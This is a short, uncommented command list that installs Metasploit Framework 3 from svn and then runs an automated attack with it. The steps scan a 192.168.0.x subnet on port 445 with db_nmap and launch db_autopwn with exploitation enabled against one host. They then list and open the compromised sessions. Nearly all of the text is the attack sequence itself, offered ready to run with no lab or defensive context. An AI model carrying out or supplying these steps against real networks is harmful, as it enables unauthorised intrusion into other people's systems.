aptitude install subversion libdbd-sqlite3-ruby ruby sqlite3 libruby libyaml-ruby libzlib-ruby libopenssl-ruby libdl-ruby libreadline-ruby libiconv-ruby
gem install activerecord
cd ~
mkdir metasploit
cd metasploit
svn checkout http://metasploit.com/svn/framework3/trunk/ framework3
cd framework3
svn update
./msfconsole
msf > load db_sqlite3
msf > db_create ../metasploitdb
msf > db_connect ../metasploitdb
msf > db_nmap -p 445 192.168.0.1-254
msf > db_autopwn -t -p -I 192.168.0.5
msf > db_autopwn -t -p -e -I 192.168.0.5
msf > session -l
msf > session -i [ID]
wget --post-data 'Transfer=Yes' http://framework.metasploit.com/msf/downloader/?id=framework-3.0.tar.gz